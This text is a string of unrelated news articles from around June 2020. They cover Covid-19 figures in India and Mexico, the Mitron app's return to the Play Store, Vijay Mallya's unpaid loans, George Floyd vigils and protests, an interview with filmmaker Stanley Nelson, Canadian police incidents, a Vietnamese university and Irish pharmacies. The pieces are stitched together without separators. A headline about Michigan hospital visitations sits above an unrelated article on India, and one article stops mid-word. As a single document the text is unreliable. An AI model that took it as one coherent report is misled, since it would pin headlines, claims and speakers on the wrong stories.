Hospital visitations in Michigan can resume immediately after Whitmer rescinds trio of executive orders
India has been witnessing a spike in the number of Covid-19 cases over the past few days. Till Friday, the country recorded 2.26 lakh Covid-19 cases, with close to 10,000 infections in the last 24 hours.

There are some states which have led the surge in numbers across the country. These states are Maharashtra, Tamil Nadu, Gujarat, Rajasthan and Madhya Pradesh.

These states have high caseload of Covid-19, mostly in cities and urban centres. Here is a look at all those cities:

 Mumbai: The capital of Maharashtra is right on top in the list of Covid-19 cases with a tally of 44,391. The city has recorded 1,465 deaths. However, the citys civic body, which is spearheading its response to the pandemic, has said that there is a steady decline in the number of Covid-19 cases in Mumbai. The BrihanMumbai Municipal Corporation (BMC) quoted the data till June 2 to say that the average daily growth of Covid-19 cases went down from more than eight per cent a few days ago to 3.64 per cent, reported news agency PTI.

 Delhi: The city-state has seen its tally rise tapidly in the last few days. The number of Covid-19 disease cases in Delhi exceeded the 25,000-mark on Thursday as the national capital added 1,359 new infections. With the exception of June 1, the Capital has been recording at least 1,000 new infections daily for the last eight days. Delhi has seen 650 deaths related to the coronavirus disease.

 Chennai: The southern state of Tamil Nadu has been one of the leading contributors in the number of Covid-19 cases in the country. While most of the state is affected by the coronavirus disease, the tally in its capital Chennai has reached 18,693.

 Ahmedabad: The city in Gujarat has 13,354 cases of Covid-19 and close to 1,000 deaths (938 to be exact). Two hundred ninety one new infections were found in Ahmedabad in the last 24 hours (between Wednesday and Thursday). Out of 33 coronavirus patients who died in Gujarat during this period, 28 patients died in different hospitals in Ahmedabad city alone.

 Pune: This is the second city in Maharashtra which has reported a very high number of Covid-19 cases. Two hundred forty three more people tested Covid-19 positive in the city on Thursday, taking the total number of cases to 8,717. The death toll stands at 391.

 Indore: The major urban centre of Madhya Pradesh, Indore has 3,633 cases of coronavirus disease and 145 fatalities. Coronavirus patients have been found in 51 of the total 52 districts in Madhya Pradesh so far. So far, 5,637 people have recovered from the infection in the state and the number of active patients is 2,748.

 Jaipur: Rajasthans capital Jaipur has 2,136 cases of Covid-19 and 101 deaths. Rajasthan has reported 68 new coronavirus disease cases on Thursday, and the states tally went up to 9,720. As per the state health department, Bharatpur district has reported a spike in the number of infections in the last few days.In the last 24 hours, 104 cases have been reported from the district.

India registered its highest spike in Covid-19 cases with 9,851 more cases and 273 deaths reported in the last 24 hours (between Thursday and Friday). The Union health ministry, in its data on Friday morning, said that 1,09,462 persons have been cured/discharged/migrated while 6,348 people have succumbed to the disease so far.

According to the health ministry, more than 70 per cent of the deaths were due to co-morbidities. It had earlier said that the recovery rate in India has improved to nearly 48 per cent.

According to the Indian Council of Medical Research (ICMR), a total of 42,42,718 samples were tested for coronavirus infection till Thursday.
Google had said yesterday that Mitron might be brought back to the Play Store after they had spoken to the developers to fix some issues

Mitron, the Indian alternative to TikTok, was pulled off the Google Play Store on June 2. We don't allow apps that merely provide the same experience as other apps already on Google Play. Apps should provide value to users through the creation of unique content or services," Google explained. Mitron was inherently identical to the very popular short video streaming app TikTok.

However, the app is back on the Play Store now.

Google has said yesterday - "Weve given this developer some guidance and once theyve addressed the issue the app can go back up on Play."

Also Read: Google vs Mitron, Remove China Apps:What really happened

The developers behind Mitron have listened and Google has pulled the app back on. The Mitrons Play Store page now says that the app was updated on June 3, 2020. The Privacy Policy on the page has been updated as well and includes a section on GDPR Data Protection Rights.

And that's not all, Mitron has also built and updated its promoter website. Earlier the promoter site was a blank page.

Google was not wrong about Mitron delivering content that was essentially no different from other apps. The creators of Mitron had bought the code for the app from Pakistani developers Qboxus. Irfan Sheikh, the founder and CEO of Qboxus said that Mitron was no different from their TicTic app. The IIT students who developed Mitron basically took the code and uploaded it, without any changes, as the Mitron app on Google Play Store.

In that form, Mitron was violating Google's spam and minimum functionality' policy. As mentioned in Googles policy page, apps that copy content from others without making any original changes or adding value, violate the rules.

We don't allow apps that merely provide the same experience as other apps already on Google Play. Apps should provide value to users through the creation of unique content or services, states the policy. In addition, the app should provide basic degree of functionality and a respectful user experience, the policy adds.

Google also removed the Remove China Apps' from the Play Store. However, it does not look like that app is going to make a comeback.
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Even as reports suggest that Vijay Mallya is in the final stage of being extradited to India, bankers to Kingfisher Airlines are not very confident of any meaningful recovery from the fugitive liquor baron.

"First of all, I don't believe that the extradition will happen as the reports suggest. UK laws strongly favour high profile financial fraudsters," said a senior banking industry official on condition of anonymity.

Mallya left India in March 2016 after defaulting on Rs 9,000 crore worth of loans. He had taken these loans to run his failed airline.

Also Read | Vijay Mallya's extradition to India being held up by a 'confidential' legal issue: Report

The consortium, led by State Bank of India (SBI), has been trying to make recoveries from Mallya through legal options but without much success yet. The loans were given against Mallya's own personal guarantee. Other collaterals included some real estate properties belonging to the airline and Mallya, Kingfisher brand, goodwill etc.

But, compared to the money at stake, these would fetch only a fraction of the amount to banks. Bankers said over years value of these collateral have diminished significantly.

Also Read | India in touch with the UK over extradition of Vijay Mallya: MEA

After reports emerged early this week that legal formalities for Mallya's extradition is over, the UK government clarified that he will not be extradited soon.

"Confidential legal issue needs to be resolved before Vijay Mallya's extradition can be arranged, a report in Hindustan Times said, quoting the UK high commission spokesperson. Mallya has, several times, on Twitter, offered to pay back the principal amount to banks but banks have not taken this seriously.

"There is no offer, only promises on Twitter. They don't sound genuine," said the banker.

In the four years, banks have tried to recover money from Mallya, including auctioning of his real estate properties and threatening legal actions. But those efforts have not resulted in any meaningful recovery.

What are the options now left before bankers? Lenders can still sell his shareholding in companies and recover money.

Since Mallya's real estate assets, which include a Mumbai office property, his cars and other personal belongings won't fetch much, banks are pinning their hopes on acquiring Mallya's stake holding in United Spirits and United Breweries.

Mallya's holding in United Breweries is 11.04 percent which has a value Rs 2,764 crore and that of United Spirits (0.82 percent) at Rs 345 crore. In total, if banks manage to sell these shareholdings on June 4, 2020 banks would get Rs 3,109 crore.

But there are multiple takers for this money. Along with banks, the Enforcement Directorate (ED) is also awaiting recoveries from Mallya.

Mallya, once the poster boy of Indian civil aviation industry, left for the UK on March 2, 2016. This was just hours before a consortium of banks rushed to the Supreme Court seeking his detention and the immediate repayment of outstanding dues on loans. Mallya's debt to banks was a result of a series of borrowings in multiple installments to keep Kingfisher alive.

Since his flight to the UK, Mallya, 64, has been waging a legal war against his lenders, investigators and the Ministry of External Affairs (MEA) by disputing charges of financial fraud levelled against him. The MEA, in April, 2016, revoked his passport. Several rounds of hearings in British and Indian courts have happened since then, leading to Mallya being arrested and released within hours multiple times. While the court room drama continues, the banks have become sitting ducks.

Among the lenders, close to Rs 1,700 crore was disbursed by SBI, the lead bank of the group while IDBI Bank gave Rs 900 crore. Other banks, a mix of state-run and private lenders, contributed a few hundred crore each. Majority of the loans were given based on a personal guarantee by Mallya. The other collateral included the Kingfisher brand  one of the rarest cases when a huge sum was lent to a corporate just against the brand name.

These banks later converted a sizable chunk of loans into equity. SBI and ICICI Bank had converted Kingfisher's shares at Rs 64.48 each, which was at a 60 percent premium to then prevailing market price. The prices crashed to reach penny stock values within 16 months. Kingfisher has since been de-listed from the exchanges.
Ambreia Meadows-Fernandez, left, snaps her fingers in support while Jalissa Fletcher speaks during the candlelight vigil Friday outside of the state Capitol in downtown Cheyenne. The event, organized by Wyoming Equality, was to remember George Floyd and countless others who have lost their lives prematurely to police violence.

CHEYENNE  Cheyenne South student Isabel McClendon said when she saw the news that another black man had died at the hands of the police, she cried.

The story of George Floyd  who died last week after being restrained by four Minneapolis police officers because he matched the description of a suspect in a forgery case at a grocery store  made McClendon think of her own family and the fear she carries for them.

"It's horrible. If I was to bring a child into this world, I'd have to worry every day about what could happen to them," McClendon said. "I'd have to worry about them just wal...
An increasing number of students have decided to study nursing and medical technology at Tan Tao University (TTU) in Long An Province thanks to the schools United States-standard curricula.

Trust in the right place

Following his first year at TTU, Huynh Xuan Tien, who majors in medical technology, said he was most impressed by the dedication of his teachers and determination of other students.

Tien added he was provided with not only fascinating lessons but also helpful practical sessions to acquire and master knowledge in the best way.

Although TTU had just taught medical technology for a year, Tien stated his trust was in the right place and the quality of education there had never disappointed him.

The university also organizes many extracurricular activities for the faculties or with other universities to create new opportunities for students.

A lot of seminars on health and medical sciences at TTU are attended by famous Vietnamese and foreign professors and doctors, which helps students have better access to the global knowledge of these sectors.

On top of that, there are many special events such as Halloweens, Ups Day, and Prom Night, as well as a series of meaningful programs to help students become more mature and responsible citizens.

Tan Tao University is completely perfect for me, Tien remarked.

Meanwhile, Huynh Xuan Yen, who studies nursing at TTU, said she was amazed by the bilingual teaching method during her first days at the university.

The method helps students integrate effectively into the development of the worldwide health sector.

With the support from my school, I am confident that I will obtain a bachelors degree in nursing and will be equipped with internationally recognized knowledge and skills, Yen stated.

Students of Tan Tao University pose for a photo with U.S. experts in nursing. Photo: Ban Mai / Tuoi Tre

Highly qualified lecturers

According to Dr. Cao Van Thinh, a professional advisor at TTU, nursing and medical technology are two new majors at the university that enrolled their first classes in 2019.

Students of the two majors will spend four years acquiring U.S.-standard knowledge via lectures delivered in both Vietnamese and English.

The university employs highly qualified lecturers who have experience teaching at reputable Vietnamese and foreign schools, as well as working at major hospitals in Ho Chi Minh City, Thinh elaborated.

TTU boasts modern classrooms and equipment to help its students of the two majors attain exceptional knowledge and practical skills.

Similar to TTUs School of Medicine, students majoring in nursing and medical technology have the opportunity to intern at major hospitals in Vietnam and the U.S., guided by experienced experts.

They are also allowed to participate in seminars and training courses to improve professional skills, foreign languages, and soft skills.

These students will become quality human resources who meet all requirements at local and foreign medical facilities, Thinh stated.

They can even land jobs in countries that have advanced nursing and medical technology sectors such as Japan, Germany, and the U.S., he said, adding that the students can take the National Council Licensure Examination (NCLEX) in the United States as well.

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Protesters hold their hands in the air waiting to be arrested by the Los Angeles County Sheriff's Department for violation of curfew at Grand Park in downtown Los Angeles on Wednesday. (Gary Coronado / Los Angeles Times)

When thousands of people started crowding city streets across the nation last week to protest the killing of George Floyd by Minneapolis police officers, where was the outcry about the risk of a new COVID-19 outbreak? Why weren't the voices that were so quick to condemn the unmasked conservatives who protested pandemic shutdowns and the crowds of unmasked hikers and beachgoers speaking out again?

Its a good question that defies a simple answer. Was it the surprising escalation of protests? The protesters' cause? Or the fact that it would come off as inexcusably tone-deaf to scold people about proper social distancing when they worry that they or their loved ones may be the next victims of a police shooting?

It was somewhat mollifying that the images from Los Angeles and other cities showed most protesters wearing face coverings  a thin line of defense against infection, but better than nothing. This suggests that protesters understood the risk involved, calculating that staying inside and safe from the virus was ultimately more dangerous to their lives.

That's fundamentally different from the decision made by protesters who defied social distancing rules and mask guidance while demanding that pandemic restrictions be lifted. Those were deliberate moves to demonstrate their (incorrect) belief that COVID-19 wasn't much of a threat and that authorities were needlessly crushing businesses and the economy.

The reality is that large gatherings of people, regardless of their ideological bent or cause, jeopardize the success that has come out of months of shared sacrifice to slow the spread of the coronavirus and protect those most vulnerable, including black Americans who are dying of COVID-19 at a higher rate than most anyone else. The U.S. might seem to have overcome the virus because businesses have started reopening. But while the pandemic is waning in some parts of the country that were exposed early, COVID-19 cases are climbing in others. And public health officials warn that the protests may spark another wave of infections. If that's the case, we will know in about two weeks.

It may be too late to stop spikes from past protests, but not too late to curb future protest-driven transmission. Protesters should heed calls to get tested after participating in demonstrations and follow the recommendations for isolation if they have been exposed. Law enforcement officials also must examine their own tactics, including the shocking lack of masks worn by police officers working protest detail. While they're at it, they need to reconsider using tear gas and other weapons that cause people to sneeze and cough out respiratory droplets and to observe proper social distancing measures while arresting protesters.
Cemetery workers in protective gear lower a coffin containing a COVID-19 victim in Mexico City. (Marco Ugarte / Associated Press)

Mexican authorities sought to calm an anxious public after the nation's coronavirus death toll grew by 1,092 on Wednesday  more than doubling the daily record and for the first time exceeding the single-day total in the United States.

Let there not be psychosis, let there not be fear, President Andres Manuel Lopez Obrador told reporters Thursday. This is not New York.

He hastened to clarify that many of the deaths reported Wednesday had occurred days or even weeks ago but was only now being added to the total. U.S. officials reported 988 deaths Wednesday. Mexico's previous record of 501 deaths came on May 26.

I want to inform all the people of Mexico that this happened because there was an adjustment in deaths that had occurred previously, said Lopez Obrador, who was visiting the southern state of Chiapas. It doesnt mean that 1,000 people died in a day.

Still, the one-day total raised new doubts in a country where critics have charged that the government is deflating COVID-19 casualty numbers, employing a flawed strategy against the virus and rushing to restart the economy too early.

The total number of deaths in Mexico now tops 11,700, far below the U.S. total of 108,120, but the seventh-highest total in the world, according to Johns Hopkins University. Mexico ranks second in deaths in Latin America after Brazil, where 32,548 have died.

The Mexican health ministry also reported a record 3,912 new confirmed infections Wednesday, bringing the total to 101,238.

Former President Felipe Calderon, a political rival of Lopez Obrador, joined in calls on social media for a day of national mourning. "Although they didn't die on a single day, this is still a tragedy," Calderon said on Twitter.

The bad news comes days after Mexican authorities declared a new normal that allowed a gradual reopening of the critical mining, construction and automotive-manufacturing sectors. Washington has pressed for restarting vital automotive parts supply chains that support U.S. markets, even though some border factories have seen coronavirus outbreaks and deaths.

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Most offices, shops and industries in Mexico deemed nonessential remain shut, schools are closed, and officials implore people to continue to stay home and maintain social distancing.

Unlike some other Latin American nations, however, Mexico rejected implementing a national curfew or mandatory stay-at-home measures, and never closed the countrys borders and airports.

In recent days, many residents have returned to the streets of Mexico City and other areas, often without wearing face coverings or respecting social-distancing parameters. That has raised fears that the contagion could continue to accelerate.

The epidemic has not finished, Dr. Hugo Lopez-Gatell, the undersecretary of health who heads the countrys response to the coronavirus, warned this week, pleading with citizens to "resist as much as possible going into public streets."

As the public face of the government response, Lopez-Gatell has come under increasing criticism for assurances that have proved overly optimistic.

He had predicted that cases would max out in late May or early June. He has revised that to mid-June. He had also predicted a total death toll not exceeding 8,000.

Lopez-Gatell has also acknowledged that official tallies of infections and deaths here represent a significant undercount. How much remains a major question mark.

Several independent studies of death certificates have indicated that fatalities in Mexico City, the epicenter, may number at least three times the official count.

From the outset of the epidemic, as many countries sought to ratchet up testing for the virus, Mexico opted for a low-cost strategy of focusing tests on serious cases.

Mexicos testing rate  about 2,350 per 1 million residents  is among the lowest in the Americas. Chile and Peru test at a rate of more than 14 times that of Mexico, according to the Worldometer statistics site.

Defending Mexicos approach, Lopez-Gatell has said targeted testing was sufficient to allow authorities to monitor the spread of the virus. But critics have argued that it leaves the country largely in the dark about the scope of contagion while failing to identify many infected persons who have minimal symptoms but can spread the virus.

Lopez Obrador also defended Mexicos approach. I think the strategy has been correct, he said Thursday. We were lucky that the pandemic did not hit us first and that gave us time to prepare.

Mexicos health and mortuary infrastructures have buckled but not collapsed under the strain of the pandemic.

Authorities have bolstered hospital space and recruited and trained new medical workers. Hospitals treating COVID-19 patients in Mexico City have been hovering at close to 80% of capacity.

Meantime, more than 20,000 Mexican doctors, nurses and other health workers have become infected, prompting officials to transfer health personnel to hard-hit areas such as Mexico City. Infected healthcare workers represent more than one-fifth of Mexico's cases.

The virus has killed at least 271 Mexican medical personnel, more than have been reported in Italy or Spain but still fewer than in the United States.

Cecilia Sanchez in The Times' Mexico City bureau contributed to this report.
Larry Busacca/Getty

Filmmaker Stanley Nelson has directed some of the essential documentaries about the history of black activism, freedom work, and culture in the United States, including: Marcus Garvey: Look For Me in the Whirlwind; The Murder of Emmett Till; a 2009 series about immigration across the U.S.-Mexico border; Freedom Riders; The Black Panthers: Vanguard of the Revolution; and most recently Vick for ESPNs 30 for 30 series.

Naturally, as a result of his decades of work, he has a lot to say about the torrent of events currently taking place in the United States, from the coronavirus pandemic, to the killing of George Floyd by Minneapolis police, to the violent reign of President Donald Trump. And its the latter that Nelson believes undergirds the protests taking place in major cities and towns across the country.

According to Nelson, its essential to remember that not only has anti-black brutality by the state existed since the U.S. was formed, but Donald Trump and the current Republican Party have resurfaced a special kind of brutality and neglect at a national level. The director believes that Floyds killingnot even the most recent in a series of police killings of unarmed black Americanshas finally popped the lid off and stirred Americans, especially young ones, to more cohesive and collective action. I spoke to Nelson about his thoughts about the protests, the pandemic, and the future of policing in the United States.

Both within the space of this pandemic and protests against George Floyds murder, theres been this kind of encouragement or drive toward productivity, particularly because many people are stuck inside or at home. Theres a focus on how you still get work done or still contribute to freedom work, for example. Thats made me think a lot about the question of how do you heal, how do you attend to yourself and to your community in the midst of active struggle? And I wondered, the Black Panthers documentary you made, a huge part of it was about how people couldnt attend to their families and be in the Panthers. The structure was not built to support care work outside of active struggle, necessarily. I wonder if you think those reflections from former Panthers could be of use today?

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Stanley Nelson: I mean, its strange because we can forget that the virus is still with us. How do you manage that? Everything else thats going on at the same time? I have a 30-year-old daughter and two twins [a son and a daughter] in college who have come home because of the virus. And we had just moved up to Cape Cod when the pandemic broke out. So, my twins were up here, but when the protests started they wanted to come back to New York. They were going to hold one of those standards where We're going [to the protests] and well come back later because we want to be part of this. And so we took them back to New York. So that was Sunday, and yesterday [June 1] they were out there marching, and theyre out there protesting today. And our oldest daughter Malana got arrested yesterday at a march in Atlanta, six hours in the criminal justice system. So thats why I just wanted to take that call [ed note: Nelson briefly took another call near the beginning of our interview] because you know they took her phoneI didnt recognize the number that just came up on my phone just now, and thats what happened yesterday. They took their phones, so she called me from a phone that she could borrow.

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And Im glad that [my children] want to be part of [the protests]. You know, I remember a woman, Michelle, when we did Freedom Riders, and she came down one morning and she was 19 and one day she said to her mother, Im leaving cause Im a Freedom Rider now, and she left. And thats what happened over and over again, with some of the Freedom Riders and the Black Panthersyoung people dont ask permission, they just join because they feel they have to. So I had to think about that, and in some ways Im very proud of my children, but a little nervous too.

Hows your daughter Malana doing now?

Shes out. She got out last night, but [went back to the jail] to pick up her phone and her wallet, because they told her to come back for it, but last I heard they couldnt find them. You know, its just a big mess. But shes out, thats the main thing. Phones, you can replace them.

Like all parents, most times, youre dealing on, on two levels. On one hand youre like, just stay home and be safe. But as a progressive person, I realize this is a very critical time and in some ways Im proud of my children for getting out there. They have not been involved in the movement of marches or protests before this, really. Its good to see that theyre involved. This has been an incident that has affected people in a way that no other has, and I think its important that [my children are able to] recognize that and realize they can be part of change and they have to be part of change. And so some of [my initial] reticence and doubt has gone because, its like youre drowning, youve gotta reach for anything that will help save your life.

Why do you think George Floyds murder by police specifically has triggered such a widespread and direct involvement with young people across the country?

Weve seen it over and over again. And so theres no denying that that repeats itself over and over. Weve seen videos over and over. Were in the middle of a pandemic, so people have been cooped up for like 11 weeks or whatever it is. And I think that just the explicit nature of that videothis wasnt a shaky camera [video], we saw the life drain out of this man. We saw it. And as many times as we mightve seen people die in the movies, very rarely have we seen a video of someone dying over an eight-minute span of time. Its an incredible video that has affected people, where this man is in some ways calmly pleading for his life. And there was no emotion from the police. It wasnt like it was emotional; it was just, Were just going to kill you, you know? Of all the things weve seen because of video cameras and phone cameras, its just an amazing piece of video.

The [white] woman in Central Park [Amy Cooper] who was gonna turn in a [black] birder [Chris Cooper, ed note: no relation]she was essentially saying, I will call my dogs on you if you dont do what I want. I will call my dogs. I will call the police on you and you know who theyre gonna favor. That reminded me of incidents that have happened in my life, where white people say, Ill call security. And well settle this, because Ill call security and you know what side theyre going to be on. Youre a black man and Im white, and if they come, who knows what might happen.

That dynamic has made me think a lot about the language around policing that has repeatedly come up in the midst of various activists and media personalities responses to Floyds murder. Some people are really focused on criminal justice reform, which always comes up with every instance of anti-black police brutality. But others are saying, Actually we need to defund the police. We need to abolish policing. Or, at the very least, we need to abolish policing as we know it. But a lot of people have a hard time imagining what it would mean if we didnt have police. What are your thoughts about how we can imagine and formulate alternative strategies to policing that wont bring harm to racialized bodies?

I dont think police abolition is going to happen anytime soonit happens in stagesbut, we just finished up a project on the crack epidemic that will be on Netflix in a couple of months, and part of the trajectory charts the police going from the beat cop, to the war on drugs and the militarization of the police, and millions of dollars beginning to go into police departments. Theres this image early in the film when you see New York cops walking the streets, swinging their batons, and by the end of the film there are military vehicles with body armor and machine gunscrazy equipment. We can start out by thinking about defunding the police, demilitarizing the police. And then theres also the idea of retraining the police so that they are not this occupying force with this kind of warrior mentality, because it creates this us-against-them mentality that we now exist in, in black communities and some other communities. Theres another way to be. It doesnt have to be that way.

That brings up the various trainings that have been suggested for other kinds of public servants and workers in the public sphere. You directed the Story of Access training film for Starbucks after the infamous event where a black man had the cops called on him by an employee for simply being in the space while he was waiting to meet up with a business partner. The film you made constitutes a kind of anti-bias training and involves understanding personally what black people go through when they are policed and targeted in public and commercial space. And so I wonder about the education that police receive in relation to the education that workers receive before we go into vocations. Is there reason to think that police can unlearn the harmful ideas they are taught about community safety and law and order?

Yeah. Theres so much that can be done if were talking about retraining the police. Were also talking about something that could be so much better for the actual police. I read something a police officer wrote about the feeling that they have of every time they step out of their car, theyre the enemy and the hate thats generated when people see cops. I mean, could you imagine living through that, that being your life? Theres all kinds of studies about the trauma that police go through and then take back home to their families. So, police are already operating on this level [of instability]. So all it takes is [a police officer] whos just a little bit off, you know, to take [an interaction with a civilian] to a higher level. So we gotta start with a low level of cooperation with people in the community so that the police are part of the community and not an occupying force.

But Im thinking about how in your Black Panther documentary there are quite a few police officers, local police officers, who are unwilling to even admit on a basic level that theres brutality in the force. Theres an FBI agent who ironically seems more willing to acknowledge the moral compromise of the COINTELPRO program, and that what they did was unethical and recklessly violent. Whereas it seems like a lot of the local police officers in the filmwith the exception of a black former Chicago PD officer who commented on Black Panther Deputy Chair Fred Hampton's murder by police (though he was not present for it)it seems like a lot of those policemen, white policemen for the most part, are very defensive about their choices, no matter the degree of violence. And that really took me aback in that they were given this opportunity to reflect on their experiences and their actions, and yet they were very defensive.

I wouldnt say those police officers we interviewed for the documentary were defensive. I think, as you said, they just werent very reflective. You know what I mean? Its not that theres some part of them that believes what they did was wrong. I think police are not the most reflective group of people in the world. And in many ways they felt that they were following orders and what they did was the right thing to do. Its funny because one of the cops who in the film says something about how, We had to go out there and show the Panthers who were the dominant force, thats the same language that Donald Trump is using now.

Right. And for that reason there are a lot of people who are skeptical about police reform, because so much of this thinking is embedded within a structure of white supremacy. And the idea is that if youre going to take a reform approach, youre still going to end up with a police force that exists in a society thats dominated by white supremacy. Do you really think we can reform the police through a series of programs or measures?

Im not sure how far reform can really go. But we do have to make it so that they stop killing us. Thats the first step. And to understand that if you create violence that theres a good shot that you will go to jail just like anybody else, that you cant kill innocent people. Thats the start and who knows where it can possibly go. But in the future, somewhere where we have to have a whole different form of policing than we do now. Do you need somebody at this point, given human nature, to keep the peace? Yeah, probably, but I think we have to take it a few steps at a time. Did the civil rights movement [give] African-Americans equal [status] in this country? No, but it certainly was a beginning.

What were saying now is that you cannot kill us, and everybody has to look at the way that police do their jobs and the police have to look at the way they do their jobs, and think about the fact that theres a better way. And if youre gonna do it as a military force, and youre going to confront people and hurt people and create actual violence, then there will be consequences. Thats the first step, and then we can go from there.

A scene from The Black Panthers: Vanguard of the Revolution PBS

For you in your documentary film practice, is there anything in the events right now that has inspired your perspective going forward or how you might make films?

Im inspired by seeing young people out there, and so many out there in the streets, because they feel they can make change and thats really important. Ive heard people say, Well, what are young people doing? Young people are letting people know that whats happening is a problem. But there isnt a movement there and young people often dont know what it is they can do to solve these problems. And so in some ways, I think, young people were waiting and wanted to be part of a movement, which is a very hard thing to start. Not everybody can be leaders, but you can say, OK, Im going to get out there and lend my body to this march and lend my voice to change that. So I think that you have a whole school of people, including my family who have been radicalized by this, who are thinking differently about their role in changing society.

Another thing I wanted to say was that if you talk about coronavirus and how over 100,000 people have died from it in the United States; if you talk about 40 million people who are now out of work; if you talk about how George Floyd was killed on camera by police; and all these other things that have happened, then you have to talk about Donald Trump. Thats a central piece to why people are out there marching. You have this government that we knowand so many people know its not just people of color, its young white people, too [working class people]that this government doesnt care about us. You know, we saw that kind of reaction to the coronavirus [from the Trump administration]. All the things happening here are also a protest against Donald Trump, and also against the whole Republican Party, who havent said a word about whats going on. And this man, Donald Trump, talks about how hes going to dominate, how hes going to call out the Army, and nobody in his party said a word.

PBS has re-released The Black Panthers: Vanguard of the Revolution for streaming on their platform as part of a slate of new and existing programming about race in America.

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OTTAWACanadas Indigenous services minister has delivered a searing rebuke of police conduct during two incidents this week, as a growing anti-racism movement sweeps the continent and shines a light on police treatment of Indigenous peoples in this country.

Speaking to reporters on Parliament Hill Friday morning, Marc Miller demanded answers over what he called disgraceful, dehumanizing conduct in Nunavut, where video broadcast by APTN this week showed a stumbling man get struck and knocked down by the door of a moving RCMP truck before he was arrested.

Miller also expressed disbelief over an incident in Edmunston, N.B., in which Chantel Moore, a 26-year-old Indigenous woman from British Columbia, was shot and killed when local police arrived at her apartment for a wellness check Thursday.

The RCMP and Edmunston police have said the actions of officers in both incidents will be investigated.

A car door is not a proper police tactic. Its a disgraceful, dehumanizing and violent act. I dont understand how someone dies during a wellness check. When I first saw the report I thought it was some morbid joke. And you look at it, and you say yes, there will be an independent investigation, but frankly  along with many Canadians, Indigenous peoples living in Canada, politicians  Im pissed. Im outraged, Miller said.

There needs to be a full accounting of what has gone on. This is a pattern that keeps repeating itself ... I cant speak for Indigenous peoples, but you can see it. Its palpable, its painful. Police serve Canadians and Indigenous peoples of Canada, not the opposite. And its something we need to reckon (with) as a society as we look south to the disgraceful acts that are occurring down there.

For more than a week, American cities have been convulsed by street demonstrations denouncing police brutality and anti-Black racism that were sparked by the death of George Floyd after video showed a Minneapolis police officer kneeling on his neck for more than eight minutes. Demonstrations have spread to Canada, with marches in cities including Toronto and Ottawa, where Prime Minister Justin Trudeau joined protesters Friday afternoon.

Speaking earlier outside his residence at Rideau Cottage, Trudeau said he salutes the demonstrators and called videos and reports he has seen in recent days disturbing. He also vowed the federal government would take action to address systemic racism and improve policing, but did not specify what actions are being considered after being asked repeatedly by reporters.

Far too many Canadians feel fear and anxiety at the sight of law-enforcement officers, he said. This has long been their reality, but over the past weeks weve seen a large number of Canadians suddenly awaken to the fact that the discrimination that is a lived reality for far too many of our fellow citizens is something that needs to end. And that is what we are working on.

Trudeaus pledge echoes a similar promise he made one year ago, when the National Inquiry into Missing and Murdered Indigenous Women and Girls delivered its final report to the prime minister at a ceremony across the Ottawa River from Parliament Hill. At the time, Trudeau vowed his government would produce a national action plan to address the inquirys 231 calls to justice, which included a number of demands for law enforcement.

Among them were calls for Indigenous civilian oversight of police forces across Canada, new funding for Indigenous law enforcement and the recruitment of Indigenous officers, and calls for better training and reviews to ensure all actors within the justice system are free of anti-Indigenous bias and racism.

More than a year later, the government has said it is still not ready to release the promised action plan in response the inquiry. Miller said Friday that the plan still needs work and input from different levels of government and Indigenous groups.

If it is not ready, it would be imprudent and disrespectful to roll it out in a form that does not reflect the level of input, he said.

Lorraine Whitman, executive director of the Native Womens Association of Canada, said the events of recent days have underscored the need for government to move beyond words and act to eliminate racism that has existed  and spurred violence  for centuries. She pointed to the inquirys conclusion that Canada is responsible for ongoing colonial genocide against Indigenous peoples based on centuries of policies and inaction.

Im very disappointed in the government, Whitman said of the delayed action plan. This racism, this discrimination thats occurring, it has to stop ... Theres so much pain, and yes, theres a lot of frustration out there. But we need to act. Its time to stop talking and now its time to walk the walk.

With files the The Canadian Press

Read more about:
A recent survey by the Irish Pharmacy Union (IPU) found that the costs to pharmacies of installing physical barriers and purchasing Personal Protective Equipment (PPE) during the Covid-19 pandemic has ranged from 2,700 to 10,000. In addition, pharmacies have seen their retail sales fall by an average of 36% since the start of the crisis.

As an essential service, pharmacies have had to remain open during the pandemic. Yet they have also had to watch as footfall into their businesses dropped significantly as a result of restrictions.

Much of the focus to date has been on providing supports and interventions for those businesses who have had to close their doors during the Covid-19 pandemic, but the IPU is now calling on the Government to do more to support businesses which remained open, such as pharmacies.

Brendan Kieran of Kieran's totalhealth pharmacies in Carrick-on-Shannon and Mohill, said that there is a perception that, just because a business is open, it won't be struggling.

As well as seeing business drop by a third in the last few months, he noted that pharmacies have also had to bear the cost of meeting HSE guidelines for social distancing and safety. This has involved a significant outlay on protective screens, staff PPE and other measures.

But despite all this, pharmacies cannot avail of any rates waivers or other incentives because of the fact they had to keep their doors open.

I feel we'll be the very last on the pecking order to get help because people look and say, 'but you were open', admits Brendan.

What they don't see is what it is costing us to be open as an essential service.

Brendan points out that not only is footfall down because of the lockdown, but people are not able to browse and buy as they had previously.

Now people are coming in to buy just one thing and that's all they buy. Before this people came in to buy one thing and they could browse and buy a few more items as well. With social distancing guidelines that is no longer possible, he points out.

Brendan said that he feels that more needs to be done to help businesses which have remained open during the lockdown.

Businesses such as ourselves have had to stay open and we've had to very, very quickly look at how we could readjust and keep operating within the guidelines, he points out.

Although any business now looking at reopening will have to make a similar investment in screens, setting out waiting areas and social distancing, this is a cost which they have not had to bear in a short space of time like businesses such as pharmacies.

He said there is a clear need for more supports for pharmacies and similar essential services which remained open since March, to serve the community.

There should definitely be something done whether that be a rates freeze or a waiver, said Brendan.

Just because we were open doesn't mean that we haven't also been placed under severe financial pressure.

It isn't fair to expect us to provide this service and to pay for everyone else when businesses who closed are being helped. We are all trying to keep our businesses going and to keep our staff on and there should be some incentive to help essential services too.

RJS Pharmacy's Ryan Jones also spoke with the Observer about the impact of the lockdown on business and the industry.



Ryan Jones, RJS Pharmacy in Drumshanbo acknowledged that the past few months have been very challenging for pharmacies.

We are remaining open to provide a service to our local community as an essential service but people are now only picking up essential items therefore reducing sales massively, he pointed out.

As a result business has fallen but our costs have increased as weve had to take measures to meet the required guidelines such as protective screening, marking out of zones along with providing a delivery service. Despite the fall in sales weve kept all our staff on to provide these services to the local community.

Ryan said that the support of local people had been crucial over the last few months.

Thankfully the people of Drumshanbo and neighbouring areas have been very supportive and are supporting the local businesses as best they can as they do realise its a tough time for us, he acknowledged.

I would hope that we will continue to receive support to ensure we can stay open and continue to provide an essential service.

Like other pharmacists, Ryan said that he believes more supports are needed to help essential services which have remained open over the pandemic.

I do feel more support is needed and a rates freeze would be one way of helping businesses such as ourselves during this difficult time to ensure essential services can continue to provide and would help in a small way to cover some of the cost Covid-19 has placed on us, he said.
